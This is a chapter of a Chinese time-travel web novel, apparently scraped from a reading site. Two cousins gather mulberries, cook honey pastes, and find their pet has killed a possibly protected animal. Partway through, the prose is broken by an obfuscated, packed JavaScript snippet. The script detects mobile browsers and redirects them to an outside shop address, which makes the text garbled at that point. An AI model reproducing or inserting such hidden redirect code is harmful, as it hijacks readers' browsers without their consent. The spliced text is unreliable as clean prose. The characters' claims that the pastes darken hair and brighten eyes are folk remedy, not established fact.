22. 桑葚桑葚~
作品:《司膳大人在现世[古穿今]》 等两人收拾好准备出门,就已经是半个小时后。
布丁还是不愿意跟俞予瑜她们一起去采桑葚,在门口看两人离开、几个跳跃功夫就消失在树林里。
没办法,它想留在这里加餐、靳衍聿给它下了任务,必须每天“锻炼”身体。
而且……打猎的成果还可以带回来让鱼鱼给它加餐!
两不误!
所以,它才不参加那么无聊的采摘活动。
没有一点挑战性!
……
这边,俞予瑜和俞春洋翻过一座山头、走过了好几个弯,终于来到一处野生桑葚林。
不过也算不上野生。
当初七八十年代的时候,他们听着外面的各种包产到户发财的报道,结果用尽了办法也出不了多少粮食。
当时的村长和支书沉默良久、看着屋外枝繁叶茂的桑树、拍着大腿决定让大家养蚕。
蚕吃的多,光家家户户门口的那一两棵不顶事,村长和支书又拍桌子决定多种些桑树养蚕,反正粮食也不成气候。
结果,他们村的养蚕事业办得风风火火,引得附近几个村都来取经学艺。
也算是兴盛了一阵子。
可是后来打工潮越来越盛,年轻人都出去打工了,留在山里的都是些老人和孩子,养蚕这才没落下来。
土地也没多少人种、蚕也没人养,桑树倒是越长越好。
这次他们原村里的土地被征收,范围内的桑树都给挖了,还好她们找到的地方不在拆迁范围,所以还有几棵幸存树。
“鱼鱼姐,你穿着裙子、不方便,就摘最底下的就行。”俞春洋有些担忧地看着俞予瑜,不光衣服不方便,在她记忆里、鱼鱼姐就是一个书呆子,还真没见她爬过树,要是摔了……
后果不堪设想。
俞予瑜打量着面前约三人高的桑树,紫黑色的果子密密麻麻、叶子反而所见甚少,不少蜜蜂在这一片飞来飞去,树枝上还偶尔飞来一两只麻雀啄食。
不过……爬树?
俞予瑜有些质疑地看着这树枝,能撑得起她的体重吗?
俞予瑜伸手摘了一颗放进嘴里,嗯~真甜!而且桑葚也挺大。
“先摘一些让你拍视频,后面我们摇树看看,这么多,只摘一点太浪费了,而且我们可以熬一点桑葚膏,反正也要给你熬【乌发蜜膏】,不如一起熬。”
俞春洋点头,也行,采摘片段只占一点就行,后面还有很多内容呢。
于是打开相机对准俞予瑜,“鱼鱼姐,那你整理一下衣服,刚刚赶路太急、衣服头发有些乱。”
俞予瑜闻言,伸出手指顺了顺发丝,将帽子取下重新戴好,扯了一下衣服下摆,看向俞春洋。
对面的俞春洋点头、空着的那只手比个“OK”的姿势。
俞予瑜吸了一口气,然后拿着小篮子走到树底下,伸手扯下一处树枝,另一只手小心翼翼地摘着完好且饱满的桑葚。
待这一枝结束,放开、又拉下来另一枝。
很快,小篮子就装满了。
俞春洋变换了无数姿势和位置,终于高声笑道:“鱼鱼姐,可以了。”
俞予瑜松了口气,一直拉着树枝要一些巧劲,几次下来、手都麻了。
俞春洋关上相机放好,然后过来帮忙。
俞予瑜从背篓里拿出自己准备的一个旧床单,铺在树下,然后和俞春洋一起使劲蹬着树。
桑葚和树枝哗啦啦地一骨碌全掉下来,像是下了一场桑葚雨。
有熟透的、砸到床单上就汁水四溅,空气中全是黏腻的香甜味儿。
俞春洋嘟着嘴看着这一幕,“哎呀,摔坏了好多,好可惜!”
俞予瑜也皱着眉,是呀,熟的太透了,一碰就坏。
“算了,我们还是老老实实摘吧!”
反正也没人看到,俞予瑜干脆用绦带从腋下绕过来、缠在腰间,再将两侧衣袖向内侧收紧,在腰侧系了个结。(绦带即布带子)
俞春洋眼睛就眨了两下,面前的人就变了个风格,还……还挺新奇。
“鱼鱼姐,你还看岛国视频呀?我以为你只看课本上的知识呢!不过我看动漫里那些穿和服的就是这样绑的。”
俞予瑜整理裤腿的动作一停,起身无语地看了一眼俞春洋,“你读书少就不要乱说话,免得惹人笑话。”
她这段时间在网上冲浪也是学习了不少,尤其是近代史!
没带这么侮辱人的。
“这是我们古代百姓宽袖干活不方便、琢磨出来的绑法,最远可追溯到汉代,而且、你说的岛国,不过是一群拙劣的模仿者罢了。”
俞春洋看俞予瑜严峻的表情缩着脖子、闭紧小嘴巴:得、她又说错话了。
老老实实开始挽袖子,干活吧,少说话、多干活总没有错!
很快,她们带来的背篓和篮子都装满了,终于满意返回。
“鱼鱼姐,这几棵树还真不错!”俞春洋从篮子里摸了一颗桑葚放嘴里,深山里的果子没打药,也不用洗、原汁原味、一口一个。
俞予瑜也边走边吃,听到俞春洋的话点头附和,就是、甜的哩~
……
来时容易、返回难!
一背篓的桑葚可不是小重量,俞予瑜背得满头是汗。
但是俞春洋想接过去、俞予瑜又拒绝她,“你还小,让我来。”
俞春洋无语凝噎:小两三岁的那种吗?
看着堂姐一生要强的表情,俞春洋只能无奈放弃,行叭、等她坚持不了了她再去帮忙吧。
结果……
她硬是等了一路。
倔强的俞予瑜硬是咬着牙走了回来。
俞春洋无语地放下相机,她脑海里甚至已经有一个想法,下一个主题就是“我那一生要强的倔强堂姐”!
回到院子,俞予瑜就在水池那边放下背篓,去屋里找一个大盆子出来。
离开俞春洋的视线后,俞予瑜龇牙咧嘴地开始揉着自己的肩膀,好痛、好痛、好痛!
应该是破皮了。
结果拿着盆子出去的时候,又恢复若无其事的表情。
开玩笑,自己可是姐姐,长姐如母、怎么能在妹妹面前这么软弱呢?
……
先接了一盆子水,将桑葚倒在里面泡出灰尘和虫子,拿出两个洗干净的无油砂锅和之前准备好的酒缸。
这边又把俞春洋带来的药材清洗干净,浸泡在干净的水里,待泡透后切好,放进其中一个砂锅里加水煎煮。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17068358|194116||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
约二十分钟取一次,三次后滤渣,开始文火煎熬。
这边的桑葚俞予瑜也放了大半砂锅,加了少许水文火熬煮。
待两边砂锅里的水开始粘稠时,分别加入蜂蜜搅拌均匀。
等待锅里的药膏冷却的时候,俞予瑜又将已经竖干水份的剩余桑葚装进酒缸,加入□□糖,倒上八分满的白酒,封盖。
看见俞予瑜动作停下来,俞春洋才敢出声,“鱼鱼姐,这是做好了?”
“嗯,等冷了装瓶。”俞予瑜走到水池边洗手。
这一通事干下来也不容易,一忙就忙了一下午。
“到时间温水送服就可以了,早晚一次。”俞予瑜拿出几个干净的玻璃罐子,用勺子一一装满。
砂锅最底下的那些就直接倒了一点开水搅匀。
“来,先试喝一下。”俞予瑜把涮锅水倒进碗里递过来。
俞春洋接过碗喝了一口,甜丝丝的!
“不苦、好喝!”
听见俞春洋的正反馈,俞予瑜露出一丝笑容,将另一个锅的涮锅水倒进碗里自己喝起来。
蜂蜜加的足,自然是甜的。
比起给俞春洋做的药膳膏,这个只用了桑葚和蜂蜜的显然要更甜一些。
“对了,鱼鱼姐,你这个桑葚膏有什么用呀?”俞春洋看着自己的一小罐,而鱼鱼姐熬的桑葚膏就满满一大罐有些好奇。
总不得是饮料吧?
没加防腐剂,那不是放不了多久?
“天天喝上两次,可乌发明目,美容养颜。”俞予瑜想了想蜂蜜和桑葚的作用说道。
俞春洋眼睛一亮,美容养颜?
“那鱼鱼姐,你分我一点呗,这么多你一时半会喝不完,坏了可惜!”俞春洋捧着罐子挨挨蹭蹭到俞予瑜面前,双目灼灼地看着她:“反正我们这桑树多的是,到时候我多采点过来!”
俞予瑜轻挑眉梢,“你喝得完吗?”她做的那一小罐子,每日都喝估计都要喝上半个月。
“喝的完!”大不了她拿桑葚膏当饮料喝,不信一天八杯水的量、她喝不下!
俞予瑜无所谓,像俞春洋所说,这个季节、外面桑葚漫山遍野多的是,只是熬煮麻烦了点,但是打发时间挺好的。
于是拿出一个干净的小瓶子给她分装一部分出来。
这边在一旁等待已久的布丁不满地在地上摔着尾巴。
怎么回事?
看不见兽吗?
还不快给本大人做饭?
它运动了一天都快饿坏了!
俞予瑜和俞春洋这才发现布丁、以及它身边那只比它体型大上几倍的动物——一动不动、脖子间鲜血淋漓。
俞春洋眨了眨眼,突然回过神来,连忙凑过去手指抖破天际地用手机搜索起来,“拜托、拜托,千万不要是牢底坐穿兽!”
她和鱼鱼姐还年轻,可不能给进去了!
更何况……这也不是她们家的呀?
亏了、亏了!
这是碰到惹事兽了!
俞予瑜不明所以,疑惑的看着地上的尸体,牢底坐穿……兽?
可是昨天布丁还抓了一只一模一样的下来让她给它加餐呀!
咋滴?
不能吃?

